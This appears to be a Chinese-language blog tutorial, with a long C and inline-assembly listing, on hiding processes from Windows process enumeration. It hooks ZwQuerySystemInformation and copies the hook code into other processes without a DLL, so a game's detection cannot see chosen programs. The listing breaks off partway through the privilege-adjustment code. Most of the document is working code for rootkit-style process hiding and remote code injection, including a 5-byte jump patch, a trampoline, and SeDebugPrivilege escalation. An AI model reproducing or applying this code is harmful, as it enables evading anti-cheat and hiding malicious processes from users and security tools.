本文的钩子技术在64位操作系统下使用32位编译通过,并能成功hook32位程序。同理可在32位系统中hook32位程序,但不支持hook64位程序(通过一定修改可以hook,具体细节在文末讨论)。另外为了避免生成调试代码产生干扰,我这里是采用release编译的,用debug编译是否可行没做测试。源代码有点乱,毕竟是一遍测试一遍改的,但是相比之下应该还是一个能跑起来的代码。

确定被hook函数与hook之后做啥

起初我拿到唯一有价值的信息就是游戏检索进程的方式是CreateToolhelp32Snapshot,所以理论上我应该是hook这个函数就行了。但是出于许多原因(特别是我找到的那篇文章),我这里Hook更接近系统内核的ZwQuerySystemInformationCreateToolhelp32Snapshot内部是调用ZwQuerySystemInformation实现功能的)

好了假设我们hook了这个函数我们应该怎么做呢?

如果你想返回所有数据全部虚构的话,直接返回的你结果就行,但是如果你只是想捕获原函数的调用尝试或者对原函数的返回值进行修改的话,还是得调用原函数的。

我们先测试钩子是否可行,于是先写这么一个钩子函数,它先于函数运行。

  1. NTSTATUS
  2. NTAPI
  3. HOOK_ZwQuerySystemInformation(
  4. IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
  5. OUT PVOID SystemInformation,
  6. IN ULONG SystemInformationLength,
  7. OUT PULONG ReturnLength OPTIONAL
  8. )
  9. {
  10. NTSTATUS ntStatus=ZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,OPTIONAL);
  11. return ntStatus;
  12. }

好了,假设这就是我们的钩子函数,我们调用先调用自己钩子函数可以看到正常返回(缺失的定义请先引用windows.hPsapi.h,剩下部分可参考文末完整代码,记得使用ZwQuerySystemInformation前需要HINSTANCE hNTDLL = ::GetModuleHandle(TEXT("ntdll"));(FARPROC&)ZwQuerySystemInformation =::GetProcAddress(hNTDLL, "ZwQuerySystemInformation");对函数指针赋值,使用完之后别忘了使用FreeLibrary(hNTDLL);释放dll句柄资源,调用参考可以参考后面完整代码的test函数。

好了我们已经实现一个啥都没做的中间层了,接下来就是对数据进行处理。

相比原文,我这里增加了ntStatus != STATUS_INFO_LENGTH_MISMATCH的判断,这是我踩到的一个坑,我是用任务栏管理器做的实验(拷贝32位系统的任务栏管理器到64位系统),然后不知道是因为我电脑上开的软件过多还是任务栏管理器的机制就是先分配小内存不够再加(毕竟我自己检测的时候网上那个代码分配的内存也不够用),总之,这里是需要考虑因为传入存放结果数据内存不够而失败的情况。

第二个改动是原来判断是目标进程的id,我这里需要批量,所以使用名称。

第三个改动,是去掉break,批量判断需要一直判断完。

第四个改动,是对pPrev = pCurr;语句增加了条件限制,原作者是找到就跳出循环了,但是我们这里如果循环继续的话,用来标记前一元素的指针将会是已经被从这个链上摘除的数据了,对它修改没有任何意义了,效果参考下图。

错误的摘链

  1. NTSTATUS
  2. NTAPI
  3. HOOK_ZwQuerySystemInformation(
  4. IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
  5. OUT PVOID SystemInformation,
  6. IN ULONG SystemInformationLength,
  7. OUT PULONG ReturnLength OPTIONAL
  8. )
  9. {
  10. NTSTATUS ntStatus;
  11. PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
  12. ntStatus=ZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,OPTIONAL)
  13. if (ntStatus != STATUS_INFO_LENGTH_MISMATCH && NT_SUCCESS(ntStatus) && SystemInformationClass == 5) {
  14. PSYSTEM_PROCESS_INFORMATION pCurr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  15. PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
  16. while (pCurr)
  17. {
  18. LPWSTR pszProcessName = pCurr->ImageName.Buffer;
  19. if (pszProcessName != NULL)
  20. {
  21. if (0 == memcmp(pszProcessName, L"notepad.exe", pCurr->ImageName.Length>22 ? 22 : pCurr->ImageName.Length) || 0 == memcmp(pszProcessName, L"chrome.exe", pCurr->ImageName.Length>20 ? 20 : pCurr->ImageName.Length))
  22. {
  23. if (pPrev) // Middle or Last entry
  24. {
  25. if (pCurr->NextEntryOffset)
  26. pPrev->NextEntryOffset += pCurr->NextEntryOffset;
  27. else // we are last, so make prev the end
  28. pPrev->NextEntryOffset = 0;
  29. }
  30. else
  31. {
  32. if (pCurr->NextEntryOffset)
  33. {
  34. // we are first in the list, so move it forward
  35. SystemInformation = (UCHAR*)SystemInformation + pCurr->NextEntryOffset;
  36. }
  37. else // 唯一的进程
  38. SystemInformation = NULL;
  39. }
  40. }
  41. else
  42. {
  43. pPrev = pCurr;
  44. }
  45. }
  46. else
  47. {
  48. pPrev = pCurr;
  49. }
  50. if (pCurr->NextEntryOffset)
  51. {
  52. pCurr = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pCurr) + pCurr->NextEntryOffset);
  53. }
  54. else
  55. {
  56. pCurr = NULL;
  57. }
  58. }
  59. }
  60. return ntStatus;
  61. }

好,如果这时候调用我们的钩子函数还能成功并且能正确隐藏notepad和chrome的话,那就说明我们钩子函数本身的摘链是正确的,只要想办法注入即可(才怪)。

按hook流程走一遍

我们接下来应该就是改原本的系统函数入口的内容,让他跳转到我们的程序之中。那么这里会有几个问题。

第一如果我们直接覆盖目标函数的前几个字节,势必会使得原函数内容发生错误,同时,我们调用原函数的时候,如果仍然使用原入口的话,会产生一个死循环(HOOK函数调用原函数,原函数jump到HOOK函数起始位置,然后继续调原函数。。。)。那么理论上来说,我们要做的就是把目标函数的前几个字节复制出来自己执行,然后不能直接调用目标函数了,需要跳过前面跳转的几个字节。这里就需要用到汇编了。

这里还需要注意的是,原函数必须被call,而不是jump,因为原函数结尾有ret指令,如果是jump过去的话,当前地址是不会入栈的,原函数ret之后会直接返回给调用者,我们希望对结果进行处理就必须用call。使用call之后,又会有一个问题,因为call是函数调用,一些寄存器状态什么的可能会受到影响,所以,我们需要一个代理函数,我们call这个代理函数,然后由代理函数执行原函数开头几字节的指令然后jump到原函数被覆盖的字节之后。这里还需要注意的是,我们这里用的jump+偏移地址的指令是5字节,正好ZwQuerySystemInformation第一个指令也是5字节,所以直接在代理函数中复制前5字节,跳转的时候也是原地址加5字节。但是如果原函第一个指令不是5字节或者想用6字节的绝对地址跳转,需要保证复制的指令是完整的而不是被打断的(每个指令的长度是不一致的,如果指令被截断,很可能会和后面的指令混在一起被错误执行,然后出现程序跑飞的情况),其次,空间必须足够放得下跳转指令。当然被拷贝的指令可以不止一条,但是不能有使用偏移地址的。具体可以自己调用一下然后用od过去看看。

结合上面所说的,我们可以做出这样一个代理函数:

  1. __declspec (naked) VOID ZwQuerySystemInformationProxy()
  2. {
  3. //这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是无个字节
  4. _asm {
  5. nop
  6. nop
  7. nop
  8. nop
  9. nop
  10. mov ebx, 0x88888888 //ZwQuerySystemInformation 方便特征定位
  11. jmp ebx
  12. }
  13. }

另外这里需要确保ebx不被前几个指令使用。否则需要换寄存器。至于调用,这是一个纯汇编函数,加上原作者用汇编形式调用的,所以我这里也用汇编调用。

  1. _asm {
  2. push ebx
  3. push ReturnLength
  4. push SystemInformationLength
  5. push SystemInformation
  6. push SystemInformationClass
  7. call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  8. mov ntStatus, eax
  9. pop ebx
  10. }

那我们接下来就是将会被我们跳转指令覆盖的几个字节的数据复制到代理函数中,保证这些代码也能正常运行。同事注意我们在代理函数中并没有写出ZwQuerySystemInformation因为我们要跳转的目标地址比较特殊,需要一个偏移量所以需要额外处理。我们编写hook函数来完成这个过程。

  1. BOOLEAN SetHook(){
  2. //1 将ZwQuerySystemInformation开头的5字节数据拷贝到代理函数中
  3. memcpy(ZwQuerySystemInformationProxy, ZwQuerySystemInformation, 5);
  4. //2 对我们的跳转地址赋值
  5. DWORD dwCodeStart = GetFunAddress((PUCHAR)ZwQuerySystemInformationProxy);
  6. for (int i = 0; i < 50; i++) {
  7. if (0x88888888 == *(DWORD *)(dwCodeStart + i)) {//找到
  8. *(DWORD *)(dwCodeStart + i) = (DWORD)ZwQuerySystemInformation+5;//赋值为ZwQuerySystemInformation起始地址向后偏移5字节,即跳过将来的跳转指令。
  9. }
  10. }
  11. }

这时,再次调用HOOK_ZwQuerySystemInformation函数应该仍然能正常工作。接着,我们继续往下走,我们的目标是让调用ZwQuerySystemInformation时跳转到我们的hook函数,而不是需要别人主动来调用我们的hook函数。因此我们接下来就是要让将ZwQuerySystemInformation的前几个字节改成跳到我们HOOK_ZwQuerySystemInformation函数的指令。

我hook我自己

为了方便将来hook其他程序,我们在SetHook中增加参数DWORD dwProcessId。在调用时先传入当前进程id(GetProcessId(GetCurrentProcess()))测试。

还记得我之前说过没法直接读写其他程序内存的把?因此我们需要调用API函数来写入这个数据。使用这个函数之前我们需要先OpenProcess打开进程。简单起见就是直接使用PROCESS_ALL_ACCESS得到所有权限即可。理论上我们主要需要PROCESS_VM_OPERATIONOpenProcessToken

  1. BYTE HookCode[5] = { 0xE9,0,0,0,0 };//0xE9是跳转指令的机器码,后面跟4字节的偏移地址
  2. //注意,这是32位机器码,可以注入到32位的程序中,如果需要hook64位程序,思路一样,但是这个机器码,指令长度等都会有变化。
  3. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
  4. FALSE,
  5. dwProcessId
  6. );
  7. if (hProcess) {
  8. *(DWORD *)((char*)HookCode+1) = (DWORD)HOOK_ZwQuerySystemInformation - 5 - (DWORD)ZwQuerySystemInformation;
  9. //这里拆解下这句指令:
  10. //HookCode是我们暂存跳转指令的地方,他是一个指针,我们把它转换成char*类型,保证其步长是1字节,然后将其地址+1,其实也就是相当于&(HookCode[1]),
  11. //然后将其转换为DWORD *,也就是步长变为4字节,就是一个使用地址为HookCode[1]-HookCode[4]组成的一个4字节长度空间的指针,
  12. //也就是我们要存放跳转地址的指针。这样转换的过程中可能会涉及大端模式和小端模式的问题(具体请自行查阅资料),不过既然别人这么用了,那就说明这个东西是一致的
  13. //(DWORD)HOOK_ZwQuerySystemInformation是我们的目标地址,但他是偏移地址,因此我们要将其减去指令所在位置的地址。
  14. //那么我们指令在什么位置呢?当然是(DWORD)ZwQuerySystemInformation这里了啊。
  15. //可是为啥还要多减去5呢?因为这个偏移地址是相对jmp指令结束位置的,而(DWORD)ZwQuerySystemInformation是指令开始位置,它长度是5,所以还得再减去5。
  16. BOOL bRet = WriteProcessMemory(hProcess,
  17. ZwQuerySystemInformation,
  18. HookCode,
  19. 5,
  20. NULL
  21. );//将这5字节数据写到目标程序ZwQuerySystemInformation的位置,这样,别人调用ZwQuerySystemInformation就自动跳入hook函数了。
  22. if(!bRet) printf("fail to write ! error:%d", GetLastError());
  23. }

这里使用机器码是不可避免的,毕竟,我们没法直接让编译器、连接器把代码生成到其他程序中,我们也没办法去定位一个语句在自己程序中生成的位置(虽然可以用特征,但是同样会需要汇编基础)

好了不管怎么说现在应该实现了调用ZwQuerySystemInformation和调用HOOK_ZwQuerySystemInformation是一样效果了吧。那么我们进一步,别的程序可是没法调用我们程序中函数的,因此我们这些函数肯定是要放到其他程序中的。最简单的是把我们现在的代码编译成dll注入进去。不过注入,远程线程什么的,一个都不能少。这工作量也是不小的,而且需要一个exe和一个dll来完成,可不太酷。所以有个更加有意思的方法就是直接定位自己内存中的数据,然后拷贝到目标进程中去。

拷贝代码到目标程序hook

为了定位我们需要拷贝的代码在自身内存中的位置,我们需要定义两个空方法分别置于我们代码的起始位置和结束位置,这两个函数的指针地址就是我们代码的起始位置和结束位置(实际上起始位置可以用第一个函数的函数指针,但是定一个起始地址函数更加通用稳妥)

  1. __declspec (naked) VOID FunStart() {};//定义需要拷贝代码的起始位置
  2. //需要存放拷贝的内容,这里包括HOOK_ZwQuerySystemInformation和ZwQuerySystemInformationProxy两个函数。
  3. //......
  4. __declspec (naked) VOID FunEnd() { _asm {nop} };//定义函数结束的位置

接下来我们在我们的目标函数中申请一段内存用来存放这些代码,注意权限,读写执行:

  1. DWORD dwCodeStart, dwCodeEnd, dwCodeSize;
  2. dwCodeStart = GetFunAddress((PUCHAR)FunStart);
  3. dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
  4. dwCodeSize = dwCodeEnd - dwCodeStart;
  5. PVOID RemoteAllocBase = RemoteAllocBase = VirtualAllocEx(hProcess,
  6. NULL,
  7. dwCodeSize,
  8. MEM_COMMIT,
  9. PAGE_EXECUTE_READWRITE
  10. );
  11. if (RemoteAllocBase) {
  12. printf("\t申请内存地址:0x%x\n", RemoteAllocBase);
  13. //do something...
  14. }

确认内存分配到了之后,我们就可以把我们的内容写进去了。首先我们得让我们要拷贝的内存地址变成可读可写,然后就可以拷贝了:

  1. VirtualProtect((PVOID)dwCodeStart,
  2. dwCodeSize,
  3. PAGE_EXECUTE_READWRITE,
  4. &OldProtect
  5. );
  6. bRet = WriteProcessMemory(hProcess,
  7. RemoteAllocBase,
  8. (PVOID)dwCodeStart,
  9. dwCodeSize,
  10. NULL
  11. );

ok,树我们是完成了?并不,我们前面那个跳转的还是我们程序编译时生成的地址,如果hook别人的程序,别人程序中这个地址可不见得就是这些代码,并且我们分配的内存地址是操作系统动态决定的,所以需要重新计算。(但是我推荐先在自己程序中调试一遍,拷贝出来的代码将不会被vs的调试器监控到,如果有问题会导致被挂钩程序崩溃,即使是挂钩本程序,vs也只知道有异常,但是并不知道在哪。这样调试会非常痛苦)。

这个计算过程就是先拿到HOOK函数在本程序中的地址,减去起始的地址,得到偏移量。然后加上分配地址的起始地址,这样就得到在目标函数中的位置了。然后替换我们jmp的地址。

  1. dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
  2. dwFunAddress -= dwCodeStart;
  3. dwFunAddress += (DWORD)RemoteAllocBase;
  4. *(DWORD *)((char*)HookCode+1) = (DWORD)dwFunAddress - 5 - (DWORD)ZwQuerySystemInformation;

如果一步步做过来的话,这一步应该在hook自己的时候还是能成功的。

是不是改下目标程序的挂钩位置就可以hook别的程序了呢?其实并不需要,因为同一个dll在不同程序的内存中的位置是一样的(别问我为啥,我也不知道,但是确实是这样),可以在PCHunter中查看进程模块中看到不同进程中的同一模块地址是一样的(注意32位程序的64位程序的模块本身就是不一样的)

在vmnat.exe中位置

在TeamViewer_Service.exe中位置

不过现在这样hook其他程序的时候大概是会崩。进od调试,发现多了一个叫__security_check_cookie的调用,然后程序跑飞了,查阅资料后得知那是安全检查。

发现调用检查函数

解决办法就是在vs中关闭安全检查,解决方法:项目属性,C/C++ // 代码生成 //安全检查//禁止

关闭安全检查

再次调用,hook其他程序仍然会崩。我开始推测是不是其他函数调用(如memcmp)也会存在问题,姑且都删了,自己逐字节比较,目标程序仍然会崩。

如果你对c语言足够熟悉的话,应该已经发现我之前犯了个大错。c语言是有内存分区的,其中就有一个文本常量区,也就是说我的文本数据并不会跟着程序一同被拷贝到目标程序中,它是一个指向常量区的一个指针,别的程序中可能这段地址并没有被分配过,程序跑个这里的时候尝试去那个地址取字符的时候就报野指针了。

要解决这个问题,我先想到的是咱们别用那个静态区的字符串了,我们写个char need[20];然后赋值不就好了吗?然而这个数组确实是在栈区了,但是这个栈是动态分配的,所以不会有初始值,给他赋值字符串,其实还是会从常量区取出来。所以要解决这个办法,最好是能让这些数据全部到代码区来,也就是手动逐字符比较,我尝试了switch case的方式,写前面两字符的比较时没有丝毫问题,但是数量多了之后有开始崩了。答案已经在嘴边了,就懒得开od去研究和验证了,毕竟我们的编译器已经不是我们写啥他就输出啥,你们可以试着关掉编译器的优化看看能不能解决,对于我来说,判断的了一个字符都足够了。

不过这里还有个思路,就是操作起来会有点复杂,但是更加合理一点,有兴趣的话可以去试试:既然我们能把我们的代码区搬到目标程序中,那我们同样可以搬常量区啊。可是常量区的地址怎么来?我们字符串的地址就是指向常量区我们要的字符串的指针,所以它存放的正是我们需要的起始地址。至于长度,你知道字符串的长度了,即使转换成宽字符了也同样可以得到长度啊,不是吗?这样我们就能将我们的文本常量塞进目标程序了。接下来就是怎么访问这些字符串了。

我们当然没法直接在程序中引用这些地址来做到访问,但是我们已经处理过类似问题了,我们只需要一个指向有特征的地址的指针(至于这个地址是否有被分配,存放啥都不重要)

结束收工

至此我们就完成了无dll的注入,如果需要注入64位程序,我这里提一下,其中一个是32位指令(包括提到的那个机器码)都要换64位了,另一个问题就是vs不允许我们在64位程序中c语言代码嵌入汇编,因此可能需要更换编译器或者另外用汇编写一些函数(asm后缀),然后分两段拷入目标(当然dll注入就没有这个问题)。

附上所有代码如下:

  1. #include <Windows.h>
  2. #include <Psapi.h>
  3. #include <stdio.h>
  4. #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
  5. #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
  6. typedef enum _SYSTEM_INFORMATION_CLASS {
  7. SystemBasicInformation,// 0 Y N
  8. SystemProcessorInformation,// 1 Y N
  9. SystemPerformanceInformation,// 2 Y N
  10. SystemTimeOfDayInformation,// 3 Y N
  11. SystemNotImplemented1,// 4 Y N // SystemPathInformation
  12. SystemProcessesAndThreadsInformation,// 5 Y N
  13. SystemCallCounts,// 6 Y N
  14. SystemConfigurationInformation,// 7 Y N
  15. SystemProcessorTimes,// 8 Y N
  16. SystemGlobalFlag,// 9 Y Y
  17. SystemNotImplemented2,// 10 YN // SystemCallTimeInformation
  18. SystemModuleInformation,// 11 YN
  19. SystemLockInformation,// 12 YN
  20. SystemNotImplemented3,// 13 YN // SystemStackTraceInformation
  21. SystemNotImplemented4,// 14 YN // SystemPagedPoolInformation
  22. SystemNotImplemented5,// 15 YN // SystemNonPagedPoolInformation
  23. SystemHandleInformation,// 16 YN
  24. SystemObjectInformation,// 17 YN
  25. SystemPagefileInformation,// 18 YN
  26. SystemInstructionEmulationCounts,// 19 YN
  27. SystemInvalidInfoClass1,// 20
  28. SystemCacheInformation,// 21 YY
  29. SystemPoolTagInformation,// 22 YN
  30. SystemProcessorStatistics,// 23 YN
  31. SystemDpcInformation,// 24 YY
  32. SystemNotImplemented6,// 25 YN // SystemFullMemoryInformation
  33. SystemLoadImage,// 26 NY // SystemLoadGdiDriverInformation
  34. SystemUnloadImage,// 27 NY
  35. SystemTimeAdjustment,// 28 YY
  36. SystemNotImplemented7,// 29 YN // SystemSummaryMemoryInformation
  37. SystemNotImplemented8,// 30 YN // SystemNextEventIdInformation
  38. SystemNotImplemented9,// 31 YN // SystemEventIdsInformation
  39. SystemCrashDumpInformation,// 32 YN
  40. SystemExceptionInformation,// 33 YN
  41. SystemCrashDumpStateInformation,// 34 YY/N
  42. SystemKernelDebuggerInformation,// 35 YN
  43. SystemContextSwitchInformation,// 36 YN
  44. SystemRegistryQuotaInformation,// 37 YY
  45. SystemLoadAndCallImage,// 38 NY // SystemExtendServiceTableInformation
  46. SystemPrioritySeparation,// 39 NY
  47. SystemNotImplemented10,// 40 YN // SystemPlugPlayBusInformation
  48. SystemNotImplemented11,// 41 YN // SystemDockInformation
  49. SystemInvalidInfoClass2,// 42 // SystemPowerInformation
  50. SystemInvalidInfoClass3,// 43 // SystemProcessorSpeedInformation
  51. SystemTimeZoneInformation,// 44 YN
  52. SystemLookasideInformation,// 45 YN
  53. SystemSetTimeSlipEvent,// 46 NY
  54. SystemCreateSession,// 47 NY
  55. SystemDeleteSession,// 48 NY
  56. SystemInvalidInfoClass4,// 49
  57. SystemRangeStartInformation,// 50 YN
  58. SystemVerifierInformation,// 51 YY
  59. SystemAddVerifier,// 52 NY
  60. SystemSessionProcessesInformation// 53 YN
  61. } SYSTEM_INFORMATION_CLASS;
  62. typedef enum _THREAD_STATE
  63. {
  64. StateInitialized,
  65. StateReady,
  66. StateRunning,
  67. StateStandby,
  68. StateTerminated,
  69. StateWait,
  70. StateTransition,
  71. StateUnknown
  72. }THREAD_STATE;
  73. typedef enum _KWAIT_REASON
  74. {
  75. Executive,
  76. FreePage,
  77. PageIn,
  78. PoolAllocation,
  79. DelayExecution,
  80. Suspended,
  81. UserRequest,
  82. WrExecutive,
  83. WrFreePage,
  84. WrPageIn,
  85. WrPoolAllocation,
  86. WrDelayExecution,
  87. WrSuspended,
  88. WrUserRequest,
  89. WrEventPair,
  90. WrQueue,
  91. WrLpcReceive,
  92. WrLpcReply,
  93. WrVertualMemory,
  94. WrPageOut,
  95. WrRendezvous,
  96. Spare2,
  97. Spare3,
  98. Spare4,
  99. Spare5,
  100. Spare6,
  101. WrKernel
  102. }KWAIT_REASON;
  103. typedef struct _LSA_UNICODE_STRING
  104. {
  105. USHORT Length;
  106. USHORT MaximumLength;
  107. PWSTR Buffer;
  108. }LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
  109. typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;
  110. typedef LONG KPRIORITY;
  111. typedef struct _CLIENT_ID
  112. {
  113. HANDLE UniqueProcess;
  114. HANDLE UniqueThread;
  115. }CLIENT_ID;
  116. typedef CLIENT_ID *PCLIENT_ID;
  117. typedef struct _VM_COUNTERS
  118. {
  119. ULONG PeakVirtualSize; //虚拟存储峰值大小;
  120. ULONG VirtualSize; //虚拟存储大小;
  121. ULONG PageFaultCount; //页故障数目;
  122. ULONG PeakWorkingSetSize; //工作集峰值大小;
  123. ULONG WorkingSetSize; //工作集大小;
  124. ULONG QuotaPeakPagedPoolUsage; //分页池使用配额峰值;
  125. ULONG QuotaPagedPoolUsage; //分页池使用配额;
  126. ULONG QuotaPeakNonPagedPoolUsage; //非分页池使用配额峰值;
  127. ULONG QuotaNonPagedPoolUsage; //非分页池使用配额;
  128. ULONG PagefileUsage; //页文件使用情况;
  129. ULONG PeakPagefileUsage; //页文件使用峰值;
  130. }VM_COUNTERS, *PVM_COUNTERS;
  131. typedef struct _SYSTEM_THREADS
  132. {
  133. LARGE_INTEGER KernelTime; //CPU内核模式使用时间;
  134. LARGE_INTEGER UserTime; //CPU用户模式使用时间;
  135. LARGE_INTEGER CreateTime; //线程创建时间;
  136. ULONG WaitTime; //等待时间;
  137. PVOID StartAddress; //线程开始的虚拟地址;
  138. CLIENT_ID ClientId; //线程标识符;
  139. KPRIORITY Priority; //线程优先级;
  140. KPRIORITY BasePriority; //基本优先级;
  141. ULONG ContextSwitchCount; //环境切换数目;
  142. THREAD_STATE State; //当前状态;
  143. KWAIT_REASON WaitReason; //等待原因;
  144. }SYSTEM_THREADS, *PSYSTEM_THREADS;
  145. typedef struct _SYSTEM_PROCESSES
  146. {
  147. ULONG NextEntryDelta; //构成结构序列的偏移量;
  148. ULONG ThreadCount; //线程数目;
  149. ULONG Reserved1[6];
  150. LARGE_INTEGER CreateTime; //创建时间;
  151. LARGE_INTEGER UserTime; //用户模式(Ring 3)的CPU时间;
  152. LARGE_INTEGER KernelTime; //内核模式(Ring 0)的CPU时间;
  153. UNICODE_STRING ProcessName; //进程名称;
  154. KPRIORITY BasePriority; //进程优先权;
  155. ULONG ProcessId; //进程标识符;
  156. ULONG InheritedFromProcessId; //父进程的标识符;
  157. ULONG HandleCount; //句柄数目;
  158. ULONG Reserved2[2];
  159. VM_COUNTERS VmCounters; //虚拟存储器的结构,见下;
  160. IO_COUNTERS IoCounters; //IO计数结构,见下;
  161. SYSTEM_THREADS Threads[1]; //进程相关线程的结构数组,见下;
  162. }SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
  163. typedef struct _SYSTEM_THREAD_INFORMATION {
  164. LARGE_INTEGER KernelTime;
  165. LARGE_INTEGER UserTime;
  166. LARGE_INTEGER CreateTime;
  167. ULONG WaitTime;
  168. PVOID StartAddress;
  169. CLIENT_ID ClientId;
  170. KPRIORITY Priority;
  171. LONG BasePriority;
  172. ULONG ContextSwitchCount;
  173. ULONG State;
  174. KWAIT_REASON WaitReason;
  175. }SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
  176. typedef struct _SYSTEM_PROCESS_INFORMATION {
  177. ULONG NextEntryOffset;
  178. ULONG NumberOfThreads;
  179. LARGE_INTEGER Reserved[3];
  180. LARGE_INTEGER CreateTime;
  181. LARGE_INTEGER UserTime;
  182. LARGE_INTEGER KernelTime;
  183. UNICODE_STRING ImageName;
  184. KPRIORITY BasePriority;
  185. HANDLE ProcessId;
  186. HANDLE InheritedFromProcessId;
  187. ULONG HandleCount;
  188. ULONG Reserved2[2];
  189. ULONG PrivatePageCount;
  190. VM_COUNTERS VirtualMemoryCounters;
  191. IO_COUNTERS IoCounters;
  192. SYSTEM_THREAD_INFORMATION Threads[0];
  193. } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
  194. extern "C" LONG(__stdcall *ZwQuerySystemInformation)(
  195. _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
  196. _Inout_ PVOID SystemInformation,
  197. _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength
  198. ) = NULL;
  199. __declspec (naked) VOID FunStart() {};//定义函数开始的位置 release版本 没用
  200. __declspec (naked) VOID ZwQuerySystemInformationProxy()
  201. {
  202. //这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是无个字节
  203. _asm {
  204. nop
  205. nop
  206. nop
  207. nop
  208. nop
  209. mov ebx, 0x88888888 //ZwQuerySystemInformation 方便特征定位
  210. jmp ebx
  211. }
  212. }
  213. NTSTATUS
  214. NTAPI
  215. HOOK_ZwQuerySystemInformation(
  216. IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
  217. OUT PVOID SystemInformation,
  218. IN ULONG SystemInformationLength,
  219. OUT PULONG ReturnLength OPTIONAL
  220. )
  221. {
  222. NTSTATUS ntStatus;
  223. PSYSTEM_PROCESSES pSystemProcesses = NULL, Prev;
  224. _asm {
  225. push ebx
  226. push ReturnLength
  227. push SystemInformationLength
  228. push SystemInformation
  229. push SystemInformationClass
  230. call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  231. mov ntStatus, eax
  232. pop ebx
  233. }
  234. if (ntStatus != STATUS_INFO_LENGTH_MISMATCH && NT_SUCCESS(ntStatus) && SystemInformationClass == 5) {
  235. PSYSTEM_PROCESS_INFORMATION pCurr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  236. PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
  237. while (pCurr)
  238. {
  239. LPWSTR pszProcessName = pCurr->ImageName.Buffer;
  240. if (pszProcessName != NULL)
  241. {
  242. bool find = true;
  243. for (int i = 0;i<pCurr->ImageName.Length&&i<1;i++) {
  244. if (*((char*)pszProcessName + i) == 'c') {//隐藏开头的
  245. }
  246. else
  247. {
  248. find = false;
  249. break;
  250. }
  251. }
  252. //if (0 == memcmp(pszProcessName, L"notepad.exe", pCurr->ImageName.Length>22 ? 22 : pCurr->ImageName.Length) || 0 == memcmp(pszProcessName, L"chrome.exe", pCurr->ImageName.Length>20 ? 20 : pCurr->ImageName.Length))
  253. if (find)
  254. {
  255. if (pPrev) // Middle or Last entry
  256. {
  257. if (pCurr->NextEntryOffset)
  258. pPrev->NextEntryOffset += pCurr->NextEntryOffset;
  259. else // we are last, so make prev the end
  260. pPrev->NextEntryOffset = 0;
  261. }
  262. else
  263. {
  264. if (pCurr->NextEntryOffset)
  265. {
  266. // we are first in the list, so move it forward
  267. SystemInformation = (UCHAR*)SystemInformation + pCurr->NextEntryOffset;
  268. }
  269. else // 唯一的进程
  270. SystemInformation = NULL;
  271. }
  272. }
  273. else
  274. {
  275. pPrev = pCurr;
  276. }
  277. }
  278. else
  279. {
  280. pPrev = pCurr;
  281. }
  282. if (pCurr->NextEntryOffset)
  283. {
  284. pCurr = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pCurr) + pCurr->NextEntryOffset);
  285. }
  286. else
  287. {
  288. pCurr = NULL;
  289. }
  290. }
  291. }
  292. return ntStatus;
  293. }
  294. __declspec (naked) VOID FunEnd() { _asm {nop} };//定义函数结束的位置
  295. DWORD GetFunAddress(PUCHAR lpFunStart)
  296. {
  297. DWORD dwFunAddress;
  298. if (*lpFunStart == 0xE9)
  299. {
  300. //在Debug版本里VC会做一个跳转
  301. dwFunAddress = (DWORD)lpFunStart + *(DWORD *)(lpFunStart + 1) + 5;
  302. }
  303. else
  304. {
  305. dwFunAddress = (DWORD)lpFunStart;
  306. }
  307. return dwFunAddress;
  308. }
  309. BOOLEAN SetHook(DWORD dwProcessId, DWORD dwHideId)
  310. {
  311. BOOLEAN bRet = FALSE;
  312. DWORD OldProtect;
  313. DWORD dwCodeStart, dwCodeEnd, dwCodeSize;
  314. BYTE HookCode[5] = { 0xE9,0,0,0,0 };
  315. HANDLE hProcess = NULL;
  316. PVOID RemoteAllocBase = NULL;
  317. DWORD dwFunAddress;
  318. PUCHAR pBuffer;
  319. dwCodeStart = GetFunAddress((PUCHAR)FunStart);
  320. dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
  321. dwCodeSize = dwCodeEnd - dwCodeStart;
  322. hProcess = OpenProcess(PROCESS_ALL_ACCESS| PROCESS_VM_OPERATION,
  323. FALSE,
  324. dwProcessId
  325. );
  326. if (hProcess) {
  327. HANDLE hToken;
  328. if (OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken)) {
  329. printf("ok");
  330. TOKEN_PRIVILEGES tkp;
  331. LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
  332. tkp.PrivilegeCount = 1;
  333. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  334. if(AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) printf("\nsucc");//通知系统修改进程权限
  335. PRIVILEGE_SET RequiredPrivileges = { 0 };
  336. RequiredPrivileges.Control = PRIVILEGE_SET_ALL_NECESSARY;
  337. RequiredPrivileges.PrivilegeCount = 1;
